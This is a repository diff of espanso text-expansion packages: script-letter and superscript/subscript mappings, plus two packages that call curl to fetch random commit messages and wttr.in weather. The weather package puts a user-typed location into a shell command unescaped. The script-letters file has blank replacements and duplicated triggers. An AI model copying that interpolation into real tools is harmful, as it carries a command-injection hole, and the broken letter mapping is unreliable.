| `;sw` | `𝓌` |
| `;sx` | `𝓍` |
| `;sy` | `𝓎` |
| `;sz` | `𝓏` |
| `;sA` | `𝓐` |
| `;sB` | `𝓑` |
| `;sC` | `𝓒` |
| `;sD` | `𝓓` |
| `;sE` | `𝓔` |
| `;sF` | `𝓕` |
| `;sG` | `𝓖` |
| `;sH` | `𝓗` |
| `;sI` | `𝓘` |
| `;sJ` | `𝓙` |
| `;sK` | `𝓚` |
| `;sL` | `𝓛` |
| `;sM` | `𝓜` |
| `;sN` | `𝓝` |
| `;sO` | `𝓞` |
| `;sP` | `𝓟` |
| `;sQ` | `𝓠` |
| `;sR` | `𝓡` |
| `;sS` | `𝓢` |
| `;sT` | `𝓣` |
| `;sU` | `𝓤` |
| `;sV` | `𝓥` |
| `;sW` | `𝓦` |
| `;sX` | `𝓧` |
| `;sY` | `𝓨` |
| `;sZ` | `𝓩` |
| `;sa` | `𝓪` |
| `;sb` | `𝓫` |
| `;sc` | `𝓬` |
| `;sd` | `𝓭` |
| `;se` | `𝓮` |
| `;sf` | `𝓯` |
| `;sg` | `𝓰` |
| `;sh` | `𝓱` |
| `;si` | `𝓲` |
| `;sj` | `𝓳` |
| `;sk` | `𝓴` |
| `;sl` | `𝓵` |
| `;sm` | `𝓶` |
| `;sn` | `𝓷` |
| `;so` | `𝓸` |
| `;sp` | `𝓹` |
| `;sq` | `𝓺` |
| `;sr` | `𝓻` |
| `;ss` | `𝓼` |
| `;st` | `𝓽` |
| `;su` | `𝓾` |
| `;sv` | `𝓿` |
| `;sw` | `𝔀` |
| `;sx` | `𝔁` |
| `;sy` | `𝔂` |
| `;sz` | `𝔃` |
## Contribute
Please, feel free to contribute to this package on [GitHub](https://github.com/kopach/espanso-package-script-letters)
## 📄 License
This espanso package licensed under the [MIT](https://github.com/kopach/espanso-package-script-letters/blob/master/LICENSE)

View File

@@ -0,0 +1,7 @@
author: Ihor Kopach (https://kopach.dev)
description: "Easy write 𝒮𝒸𝓇𝒾𝓅𝓉 𝓁𝓉𝓉𝓇𝓈"
name: script-letters
title: Script letters
version: 1.0.0
homepage: "https://github.com/kopach/espanso-package-script-letters"
tags: ["writing", "letters"]

View File

@@ -0,0 +1,2 @@
---
hub

View File

@@ -0,0 +1,213 @@
matches:
# {{{ Script letters
# https://www.webnots.com/alt-code-shortcuts-for-english-letters/
- trigger: ';sA'
replace: '𝒜'
- trigger: ';sB'
replace: ''
- trigger: ';sC'
replace: '𝒞'
- trigger: ';sD'
replace: '𝒟'
- trigger: ';sE'
replace: ''
- trigger: ';sF'
replace: ''
- trigger: ';sG'
replace: '𝒢'
- trigger: ';sH'
replace: ''
- trigger: ';sI'
replace: ''
- trigger: ';sJ'
replace: '𝒥'
- trigger: ';sK'
replace: '𝒦'
- trigger: ';sL'
replace: ''
- trigger: ';sM'
replace: ''
- trigger: ';sN'
replace: '𝒩'
- trigger: ';sO'
replace: '𝒪'
- trigger: ';sP'
replace: '𝒫'
- trigger: ';sQ'
replace: '𝒬'
- trigger: ';sR'
replace: ''
- trigger: ';sS'
replace: '𝒮'
- trigger: ';sT'
replace: '𝒯'
- trigger: ';sU'
replace: '𝒰'
- trigger: ';sV'
replace: '𝒱'
- trigger: ';sW'
replace: '𝒲'
- trigger: ';sX'
replace: '𝒳'
- trigger: ';sY'
replace: '𝒴'
- trigger: ';sZ'
replace: '𝒵'
- trigger: ';sa'
replace: '𝒶'
- trigger: ';sb'
replace: '𝒷'
- trigger: ';sc'
replace: '𝒸'
- trigger: ';sd'
replace: '𝒹'
- trigger: ';se'
replace: ''
- trigger: ';sf'
replace: '𝒻'
- trigger: ';sg'
replace: ''
- trigger: ';sh'
replace: '𝒽'
- trigger: ';si'
replace: '𝒾'
- trigger: ';sj'
replace: '𝒿'
- trigger: ';sk'
replace: '𝓀'
- trigger: ';sl'
replace: '𝓁'
- trigger: ';sm'
replace: '𝓂'
- trigger: ';sn'
replace: '𝓃'
- trigger: ';so'
replace: ''
- trigger: ';sp'
replace: '𝓅'
- trigger: ';sq'
replace: '𝓆'
- trigger: ';sr'
replace: '𝓇'
- trigger: ';ss'
replace: '𝓈'
- trigger: ';st'
replace: '𝓉'
- trigger: ';su'
replace: '𝓊'
- trigger: ';sv'
replace: '𝓋'
- trigger: ';sw'
replace: '𝓌'
- trigger: ';sx'
replace: '𝓍'
- trigger: ';sy'
replace: '𝓎'
- trigger: ';sz'
replace: '𝓏'
- trigger: ';sA'
replace: '𝓐'
- trigger: ';sB'
replace: '𝓑'
- trigger: ';sC'
replace: '𝓒'
- trigger: ';sD'
replace: '𝓓'
- trigger: ';sE'
replace: '𝓔'
- trigger: ';sF'
replace: '𝓕'
- trigger: ';sG'
replace: '𝓖'
- trigger: ';sH'
replace: '𝓗'
- trigger: ';sI'
replace: '𝓘'
- trigger: ';sJ'
replace: '𝓙'
- trigger: ';sK'
replace: '𝓚'
- trigger: ';sL'
replace: '𝓛'
- trigger: ';sM'
replace: '𝓜'
- trigger: ';sN'
replace: '𝓝'
- trigger: ';sO'
replace: '𝓞'
- trigger: ';sP'
replace: '𝓟'
- trigger: ';sQ'
replace: '𝓠'
- trigger: ';sR'
replace: '𝓡'
- trigger: ';sS'
replace: '𝓢'
- trigger: ';sT'
replace: '𝓣'
- trigger: ';sU'
replace: '𝓤'
- trigger: ';sV'
replace: '𝓥'
- trigger: ';sW'
replace: '𝓦'
- trigger: ';sX'
replace: '𝓧'
- trigger: ';sY'
replace: '𝓨'
- trigger: ';sZ'
replace: '𝓩'
- trigger: ';sa'
replace: '𝓪'
- trigger: ';sb'
replace: '𝓫'
- trigger: ';sc'
replace: '𝓬'
- trigger: ';sd'
replace: '𝓭'
- trigger: ';se'
replace: '𝓮'
- trigger: ';sf'
replace: '𝓯'
- trigger: ';sg'
replace: '𝓰'
- trigger: ';sh'
replace: '𝓱'
- trigger: ';si'
replace: '𝓲'
- trigger: ';sj'
replace: '𝓳'
- trigger: ';sk'
replace: '𝓴'
- trigger: ';sl'
replace: '𝓵'
- trigger: ';sm'
replace: '𝓶'
- trigger: ';sn'
replace: '𝓷'
- trigger: ';so'
replace: '𝓸'
- trigger: ';sp'
replace: '𝓹'
- trigger: ';sq'
replace: '𝓺'
- trigger: ';sr'
replace: '𝓻'
- trigger: ';ss'
replace: '𝓼'
- trigger: ';st'
replace: '𝓽'
- trigger: ';su'
replace: '𝓾'
- trigger: ';sv'
replace: '𝓿'
- trigger: ';sw'
replace: '𝔀'
- trigger: ';sx'
replace: '𝔁'
- trigger: ';sy'
replace: '𝔂'
- trigger: ';sz'
replace: '𝔃'
# }}}

View File

@@ -0,0 +1 @@
An espanso package for superscripts and subscripts.

View File

@@ -0,0 +1,7 @@
author: Meggyn Watkins
description: An espanso package for superscripts and subscripts.
homepage: https://github.com/meggynw/espanso-package-supersubscript
name: supersubscript
title: Superscripts and subscripts
version: 0.1.0
tags: ["symbols", "math"]

View File

@@ -0,0 +1,2 @@
---
hub

View File

@@ -0,0 +1,326 @@
# Superscripts and subscripts package
matches:
# superscripts
- trigger: ":hi0:"
replace: "⁰"
- trigger: ":hi1:"
replace: "¹"
- trigger: ":hi2:"
replace: "²"
- trigger: ":hi3:"
replace: "³"
- trigger: ":hi4:"
replace: "⁴"
- trigger: ":hi5:"
replace: "⁵"
- trigger: ":hi6:"
replace: "⁶"
- trigger: ":hi7:"
replace: "⁷"
- trigger: ":hi8:"
replace: "⁸"
- trigger: ":hi9:"
replace: "⁹"
- trigger: ":hi+:"
replace: "⁺"
- trigger: ":hi-:"
replace: "⁻"
- trigger: ":hi=:"
replace: "⁼"
- trigger: ":hi(:"
replace: "⁽"
- trigger: ":hi):"
replace: "⁾"
- trigger: ":hiA:"
replace: "ᴬ"
- trigger: ":hiAE:"
replace: "ᴭ"
- trigger: ":hiB:"
replace: "ᴮ"
- trigger: ":hiD:"
replace: "ᴰ"
- trigger: ":hiE:"
replace: "ᴱ"
- trigger: ":hi_reverseE:"
replace: "ᴲ"
- trigger: ":hiG:"
replace: "ᴳ"
- trigger: ":hiH:"
replace: "ᴴ"
- trigger: ":hiI:"
replace: "ᴵ"
- trigger: ":hiJ:"
replace: "ᴶ"
- trigger: ":hiK:"
replace: "ᴷ"
- trigger: ":hiL:"
replace: "ᴸ"
- trigger: ":hiM:"
replace: "ᴹ"
- trigger: ":hiN:"
replace: "ᴺ"
- trigger: ":hi_reverseN:"
replace: "ᴻ"
- trigger: ":hiO:"
replace: "ᴼ"
- trigger: ":hiOu:"
replace: "ᴽ"
- trigger: ":hiP:"
replace: "ᴾ"
- trigger: ":hiR:"
replace: "ᴿ"
- trigger: ":hiT:"
replace: "ᵀ"
- trigger: ":hiU:"
replace: "ᵁ"
- trigger: ":hiW:"
replace: "ᵂ"
- trigger: ":hia:"
replace: "ᵃ"
- trigger: ":hi_turneda:"
replace: "ᵄ"
- trigger: ":hiAlpha:"
replace: "ᵅ"
- trigger: ":hi_turnedae:"
replace: "ᵆ"
- trigger: ":hib:"
replace: "ᵇ"
- trigger: ":hid:"
replace: "ᵈ"
- trigger: ":hie:"
replace: "ᵉ"
- trigger: ":hiSchwa:"
replace: "ᵊ"
- trigger: ":hi_opene:"
replace: "ᵋ"
- trigger: ":hi_turnedopene:"
replace: "ᵌ"
- trigger: ":hig:"
replace: "ᵍ"
- trigger: ":hii:"
replace: "ⁱ"
- trigger: ":hi_turnedi:"
replace: "ᵎ"
- trigger: ":hik:"
replace: "ᵏ"
- trigger: ":him:"
replace: "ᵐ"
- trigger: ":hi_turnedm:"
replace: "ᵚ"
- trigger: ":hin:"
replace: "ⁿ"
- trigger: ":hiEng:"
replace: "ᵑ"
- trigger: ":hio:"
replace: "ᵒ"
- trigger: ":hi_turnedc:"
replace: "ᵓ"
- trigger: ":hi_topo:"
replace: "ᵔ"
- trigger: ":hi_bottomo:"
replace: "ᵕ"
- trigger: ":hip:"
replace: "ᵖ"
- trigger: ":hit:"
replace: "ᵗ"
- trigger: ":hiu:"
replace: "ᵘ"
- trigger: ":hi_sidewaysu:"
replace: "ᵙ"
- trigger: ":hiv:"
replace: "ᵛ"
- trigger: ":hiAin:"
replace: "ᵜ"
- trigger: ":hiBeta:"
replace: "ᵝ"
- trigger: ":hiDelta:"
replace: "ᵟ"
- trigger: ":hiPhi:"
replace: "ᵠ"
- trigger: ":hiChi:"
replace: "ᵡ"
# subscripts
- trigger: ":lo0:"
replace: "₀"
- trigger: ":lo1:"
replace: "₁"
- trigger: ":lo2:"
replace: "₂"
- trigger: ":lo3:"
replace: "₃"
- trigger: ":lo4:"
replace: "₄"
- trigger: ":lo5:"
replace: "₅"
- trigger: ":lo6:"
replace: "₆"
- trigger: ":lo7:"
replace: "₇"
- trigger: ":lo8:"
replace: "₈"
- trigger: ":lo9:"
replace: "₉"
- trigger: ":lo+:"
replace: "₊"
- trigger: ":lo-:"
replace: "₋"
- trigger: ":lo=:"
replace: "₌"
- trigger: ":lo(:"
replace: "₍"
- trigger: ":lo):"
replace: "₎"
- trigger: ":loa:"
replace: "ₐ"
- trigger: ":loe:"
replace: "ₑ"
- trigger: ":loh:"
replace: "ₕ"
- trigger: ":loi:"
replace: "ᵢ"
- trigger: ":lok:"
replace: "ₖ"
- trigger: ":lo_l:"
replace: "ₗ"
- trigger: ":lom:"
replace: "ₘ"
- trigger: ":lon:"
replace: "ₙ"
- trigger: ":loo:"
replace: "ₒ"
- trigger: ":lop:"
replace: "ₚ"
- trigger: ":lor:"
replace: "ᵣ"
- trigger: ":los:"
replace: "ₛ"
- trigger: ":lot:"
replace: "ₜ"
- trigger: ":lou:"
replace: "ᵤ"
- trigger: ":lov:"
replace: "ᵥ"
- trigger: ":lox:"
replace: "ₓ"
- trigger: ":loSchwa:"
replace: "ₔ"
- trigger: ":loBeta:"
replace: "ᵦ"
- trigger: ":loChi:"
replace: "ᵪ"
- trigger: ":loGamma:"
replace: "ᵧ"
- trigger: ":loPhi:"
replace: "ᵩ"
- trigger: ":loRho:"
replace: "ᵨ"

View File

@@ -0,0 +1,9 @@
This is free and unencumbered software released into the public domain.
Anyone is free to copy, modify, publish, use, compile, sell, or distribute this software, either in source code form or as a compiled binary, for any purpose, commercial or non-commercial, and by any means.
In jurisdictions that recognize copyright laws, the author or authors of this software dedicate any and all copyright interest in the software to the public domain. We make this dedication for the benefit of the public at large and to the detriment of our heirs and successors. We intend this dedication to be an overt act of relinquishment in perpetuity of all present and future rights to this software under copyright law.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
For more information, please refer to <http://unlicense.org/>

View File

@@ -0,0 +1,7 @@
Espanso package that gets a hilarious random commit message.
![](https://user-images.githubusercontent.com/516342/99454223-cda04800-292e-11eb-9034-e5c625ee0073.gif)
Instead of writing something meaningful, your can commit with a silly message `git commit -m ":wtc"`
Powered by [What The Commit](https://whatthecommit.com/).

View File

@@ -0,0 +1,7 @@
author: omrilotan
description: Get a hilarious random commit message
name: wtc
title: What the Commit
version: 1.0.1
homepage: "https://github.com/omrilotan/espanso-package-wtc"
tags: ["fun", "git", "shell"]

View File

@@ -0,0 +1,2 @@
---
hub

View File

@@ -0,0 +1,8 @@
matches:
- trigger: ":wtc"
replace: "{{output}}"
vars:
- name: output
type: shell
params:
cmd: "curl -s https://whatthecommit.com/index.txt"

View File

@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2020 Brady Joslin <brady@bradyjoslin.com>
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

View File

@@ -0,0 +1,29 @@
# espanso-package-wttr
An espanso package for getting the weather from [Igor Chubin's](https://github.com/chubin) console-oriented weather service [wttr.in](https://wttr.in).
For more information about espanso packages, read the [documentation](https://espanso.org/docs/).
## Usage
Available replacement examples:
| replacement | sample output | description |
| --------------------- | -------------------------------- | ------------------------------------- |
| `:wttrin` | Spring, United States: ⛅️ +80°F | Current location's current weather |
| `:moonphase` | 🌕 | Current phase of the moon |
| `:wttrat/{location}/` | dallas: ☀️ +88°F | Current weather in specified location. Separate words with `+` instead of spaces. |
## Installation
`espanso install wttr`
## Dependencies
Requires `curl`.
## Package Details
Repository: [https://github.com/bradyjoslin/espanso-package-wttr/](https://github.com/bradyjoslin/espanso-package-wttr/)
This package has been edited by the Espanso Team to port it to the new v2 format.

View File

@@ -0,0 +1,7 @@
author: Brady Joslin
description: A package to get the weather from wttr.in.
name: wttr
title: wttr Package
version: 0.1.0
homepage: "https://github.com/bradyjoslin/espanso-package-wttr"
tags: ["shell", "misc", "weather"]

View File

@@ -0,0 +1,2 @@
---
hub

View File

@@ -0,0 +1,26 @@
# wttr package
matches:
- trigger: ":wttrin"
replace: "{{output}}"
vars:
- name: output
type: shell
params:
cmd: 'curl https://wttr.in?format="%l:+%c+%t\n"'
- trigger: ":moonphase"
replace: "{{output}}"
vars:
- name: output
type: shell
params:
cmd: 'curl https://wttr.in?format="%m\n"'
- regex: ":wttrat/(?P<location>.*)/"
replace: "{{output}}"
vars:
- name: output
type: shell
params:
cmd: 'curl https://wttr.in/{{location}}?format="%l:+%c+%t\n"'